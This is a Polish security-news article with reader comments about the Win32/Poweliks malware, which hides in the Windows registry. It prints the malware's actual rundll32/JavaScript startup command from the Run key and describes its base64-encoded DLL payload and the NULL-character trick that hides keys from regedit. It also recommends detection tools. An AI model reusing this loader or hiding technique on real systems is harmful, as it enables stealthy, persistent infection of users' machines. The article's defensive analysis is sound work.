Mieliśmy już wirusy mieszkające we własnych plikach, w cudzych plikach, w sektorach startowych, w BIOSie komputera lub jego komponentów czy w interfejsie ACPI. Co powiecie jednak na złośliwe oprogramowanie, które chowa się w rejestrze Windows?
Win32/Poweliks, bo tak nazywa się bohater naszego artykułu, odkryty został przez firmę ESET w kwietniu. Na jego specyficzne działanie po raz pierwszy zwrócono uwagę tydzień temu na forum KernelMode.info. Mało kto jednak zainteresował się tematem aż do czasu opublikowania wpisu na Reddicie. Warto przyjrzeć się temu wirusowi, bo jest dość oryginalny.
Mieszkam w rejestrze i co mi zrobisz
Czy da się schować złośliwy program w rejestrze Windows? Okazuje się, że nie jest to dużym wyzwaniem, wymaga jedynie kilku prostych sztuczek. Poweliks zaczyna swoje działanie od klucza
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
w którym umieszcza swój skrypt startowy
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")
Zadaniem skryptu jest pobrać, zdekodować i wykonać kolejny skrypt, przechowywany w tej samej gałęzi rejestru w kluczu „Default”. Ten drugi skrypt dla odmiany pobiera z innego klucza ciąg znaków zakodowany w base64, który po odkodowaniu staje się plikiem DLL. Plik DLL jest właściwym elementem złośliwego oprogramowania, które po zdekodowaniu zostaje uruchomione wewnątrz dodatkowego procesu dllhost.exe. W razie usunięcia właściwego pliku z dysku może on zostać odtworzony na podstawie danych przechowywanych w rejestrze.
Sam wirus posiada już tradycyjne funkcje, takie jak komunikacja z C&C oraz pobieranie i wykonywanie plików przesyłanych przez swoich nadzorców. Od czasu pierwszej analizy pojawiły się także nowe wersje, które korzystają z innych kluczy rejestru, np.
HKEY_CURRENT_USER\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}
Wirus dystrybuowany jest między innymi poprzez zainfekowane pliki RTF, wykorzystujące błąd CVE-2012-0158. Inne procesy jego dystrybucji znajdziecie w artykule Kafeine.
Pelerynka – niewidka
Wirus jest taki sprytny, że używane przez niego klucze rejestru są niewidoczne gołym okiem. Gołym – czyli korzystającym z narzędzia regedit, dostarczanego w systemie Windows. W tym celu wirus korzysta ze starej sztuczki, polegającej na wstawieniu do nazwy zmiennej znaku specjalnego NULL (0x00), który powoduje, że nie jest ona wyświetlana prawidłowo przez regedit.
Jeśli chcecie przeskanować swój rejestr w poszukiwaniu kluczy ukrytych w ten sposób, polecamy RootkitRevealer, który wykrywa te triki. W wykryciu i usunięciu wirusa pomogą także narzędzia takie jak Autoruns oraz ProcessExplorer.
Komentarze
Jak wejdzie w rejestr jak działa się na koncie zwykłego użytkownika z ograniczeniami ?
Wydaje mi sie, ze do current usera nie potrzeba jakichs specjalnych uprawnien.
Kurcze, u mnie RootkitRevealer nie chce działać, odrazu po próbie odpalenia wyskakuje błąd „Program Rootkit detection utility przestał działać”
Podpis problemu:
Nazwa zdarzenia problemu: APPCRASH
Nazwa aplikacji: RootkitRevealer.exe
Wersja aplikacji: 1.71.0.0
Sygnatura czasowa aplikacji: 44e255aa
Nazwa modułu z błędem: RootkitRevealer.exe
Wersja modułu z błędem: 1.71.0.0
Sygnatura czasowa modułu z błędem: 44e255aa
Kod wyjątku: c0000005
Przesunięcie wyjątku: 000040cd
Wersja systemu operacyjnego: 6.1.7601.2.1.0.768.3
Identyfikator ustawień regionalnych: 1045
Dodatkowe informacje 1: 54ee
Dodatkowe informacje 2: 54ee6433ac31d0e3d26f06a5a978a1aa
Dodatkowe informacje 3: e092
Dodatkowe informacje 4: e0928ef308b620f5838f70802f42baec
Rootkit revealer nie działa na windows 7 64 bit :)
Zauważyłem, że choć program polecany przez redakcje to pierwszej świeżości nie jest…
Spróbuj GMER’a ( produkt krajowy Przemka Gmerka). Gmer ma od wersji 2.0 posiada pełne wsparcie dla systemów x64
sprytna bestia, ciekawe w ktora strone on ewoluuje…
Dobrze rozumiem: wirus uruchamia się przy logowaniu do systemu?
wyglada troche jak atak krolowej zergow na baze terranow…infekuje serce i napada uzywajac twoich ludzi… ;]
@asdasdasd: chyba czas wyłączyć kompa i wyjść na świeże powietrze, nie sądzisz?
na to wyglada. uzywa zainstalowanych programow przez nas samych
Zawsze zostaje jeszcze stary dobry (a do tego polski) GMER
U mnie chyba znalazł coś:
Thread C:\Windows\SysWOW64\ntdll.dll [1904:1908] 0000000001061c94
Thread C:\Windows\SysWOW64\ntdll.dll [1904:4256] 0000000066e62238
Thread C:\Windows\SysWOW64\ntdll.dll [1904:4284] 0000000066e62238
Thread C:\Windows\SysWOW64\ntdll.dll [1904:4260] 0000000066e62238
Thread C:\Windows\SysWOW64\ntdll.dll [1904:3940] 00000000682a3189
Thread C:\Windows\SysWOW64\ntdll.dll [1904:1992] 0000000068978f59
Thread C:\Windows\SysWOW64\ntdll.dll [1904:1352] 00000000688f4b0d
Thread C:\Windows\SysWOW64\ntdll.dll [1904:1584] 00000000729b1854
Thread C:\Windows\SysWOW64\ntdll.dll [2716:2720] 0000000000ed1c94
choć nie wiem czy jest się czego obawiać. Gdy zaznaczę te wątki i kliknę „Remove signed” nic się nie dzieje… :/
A tak z innej beczki… Fajnie, że znów aktywnie piszesz:) Zwłaszcza, że z kolei sekurak mniej pisze obecnie:)
Wyścig zbrojeń :]
Stara już nie do końca niezawodna szkoła
format c:
i instal ikspe
Czyli po prostu wirus zapisuje się w rejestrze w postaci zakodowanej za pomoca base64. Wszystko inne to po prostu dekodowanie i uruchomienie.
Natomiast numer ze znakiem specjalnym NULL (0×00) w nazwie zmiennej powinien być rozwiazany przez M$.